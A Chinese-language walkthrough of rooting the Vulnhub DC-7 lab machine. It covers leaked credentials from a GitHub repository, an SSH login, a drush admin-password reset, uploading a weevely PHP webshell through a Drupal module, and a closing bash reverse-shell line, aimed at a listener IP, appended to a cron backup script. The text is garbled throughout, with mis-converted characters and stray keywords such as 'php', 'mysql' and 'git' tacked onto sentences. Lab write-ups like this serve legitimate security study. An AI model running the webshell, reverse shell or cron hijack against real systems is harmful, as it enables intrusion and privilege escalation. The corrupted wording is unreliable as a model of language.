Vulnhub_DC7 記錄

基本步驟

步驟

經驗 & 總結

  1. 對信息仍是不敏感,其實也是由於對Drupal這個CMS並不熟悉,不知道哪些地方是默認的那些地方是做者修改,好比這個「DC7USER」。
  2. 對Drupal這個CMS不熟悉,不知道Drush這個工具是什麼東西,一開始根本就沒注意到;也不知道Drupal能夠經過Web頁面編寫PHP腳本。
  3. 一開始在dc7user的shell中探測計劃任務,crontab計劃任務中並無/opt/scripts/backups.sh由於權限不夠
  4. 在最後修改計劃任務腳本時須要注意,必定要確保文件頭#!/bin/bash,不然沒法正常執行。==緣由不詳,還請各位大佬告知==

步驟流水

進行端口探測,獲得只開放了兩個端口:2二、 80端口php

端口掃描結果

  • 對80端口進行檢查

whatweb結果

  • CMS爲Drupal8框架mysql

  • robots.txt 中透露了22個目錄,不知道有沒有線索。我不知道正常drupal8安裝後robots.txt內容是什麼樣git

  • msf一把梭:msf搜索相關漏洞,包含了exploit-db中的最新exp,無腦測試,都失敗了。github

msf中的exp

  • 到這一步懵逼了,可是能夠肯定仍是須要從80端口突破web

  • 偷看一眼參考答案,須要在某個不存在的網站上搜索DC7USER(信息蒐集的重要性……),能夠找到一個github倉庫地址,根據README中的信息,得知該倉庫存放的是web的部分代碼。

    sql

    • 大體瀏覽一下,有幾個文件看起來和登陸有關。
      代碼文件shell

    • 直接搜索「password」發現包含用戶名和密碼,並且看起來好像是數據庫的用戶名和密碼,可是nmap掃描結果中並無與數據庫相關的信息,推測是對外屏蔽了端口。數據庫

      搜索結果

      用戶名和密碼

    • 依次嘗試目前獲得的登陸接口:嘗試登陸drupal,失敗;測試登陸ssh,成功。apache

      ssh登陸

  • SSH:bootstrap

    • 直接嘗試已知的提權辦法,腳本掃一掃、參考cheatsheet試試看,沒成功。

    • 提示有個新郵件,ls查看當前目錄下有兩個文件,一個文本文件叫mbox,一個backups文件夾

    • 查看當前進程確認有mysqld在運行,嘗試登陸,提示被禁止。嘗試運行sudo命令,提示該命令不存在。

      檢查當前進程

    • 查看mbox

      • 雖然很長,可是內容基本重複,能夠獲得的信息是存在一個定時任務,備份數據庫文件

        定時任務

    • scp -r dc7user@10.0.2.9:/home/dc7user/backups ./複製文件到本地進行查看,可是是加密文件。

      備份文件

      查看計劃任務腳本,獲得密碼

      密碼

    • 數據庫備份文件超大33M,感興趣的是裏面的users_field_data表,能夠查詢到用戶名和加密後的密碼。另外查看了備份的web目錄,沒有寫死的用戶名和密碼。

      存在的表

  • 至此再次陷入僵局

再次翻看參考答案:突破點在/opt/scripts/backups.sh腳本上

  • backups.sh

    • 查看權限能夠看出該腳本屬組並非root而是www-data,同時www-data有對該文件的徹底控制權

      權限

    • 所以突破關鍵轉移到如何得到一個www-data組中的用戶,查詢發現www-data組中僅包含www-data用戶,www-data僅運行apache進程,所以須要經過web頁面得到shell才能獲取對backups.sh的修改權限。

      apache進程

    • 查看腳本中的內容,發現執行了drush命令

      Drush是Drupal的命令行shell和Unix腳本接口。Drush Core附帶了許多有用的命令,可用於與模塊/主題/配置文件等代碼進行交互。

      一開始執行drush命令的時候老是提示:Command user-create needs a higher bootstrap level to run - you will need to invoke drush from a more functional Drupal environment to run this command.

      須要切換到項目根目錄或Drupal中。沒仔細看文檔:經過在項目根目錄或Drupal中的任何位置鍵入「 drush」,能夠在Shell中運行Drush。另外,在這個腳本中也是先移動到web目錄,再執行備份任務。

      經過drush user-password admin --password="new_pass"修改admin密碼,成功登陸drupal。爲何dc7user用戶會有這個命令的控制權?還請大佬指點

    • 成功登陸後臺

      成功登錄

  • 再一次歇逼,沒用過Drupal,知道這個時候應該想辦法寫一個php的webshell,可是搜了一圈也沒找到怎麼經過Web後臺寫WebShell。

再次翻看參考答案(我是真的菜啊)

  • 爲drupal添加一個插件,讓它支持編輯PHP頁面

    • 下載php-8.x-1.0.tar.gz,在後檯安裝並激活

    • weevely generate 123 ./shell.php生成一個webshell,經過web寫入drupal

      webshell

    • 發佈以後使用weevely鏈接,能夠獲得一個www-data權限的shell

      shell

    • 在計劃任務腳本後面添加反彈shell腳本,本機監聽等待回連,耐心等待,經過郵件的時間能夠得知該腳本每15分鐘執行一次。

      echo "bash -i >& /dev/tcp/10.0.2.15/7777 0>&1" > /opt/scripts/backups.sh

      成功了

相關文章
相關標籤/搜索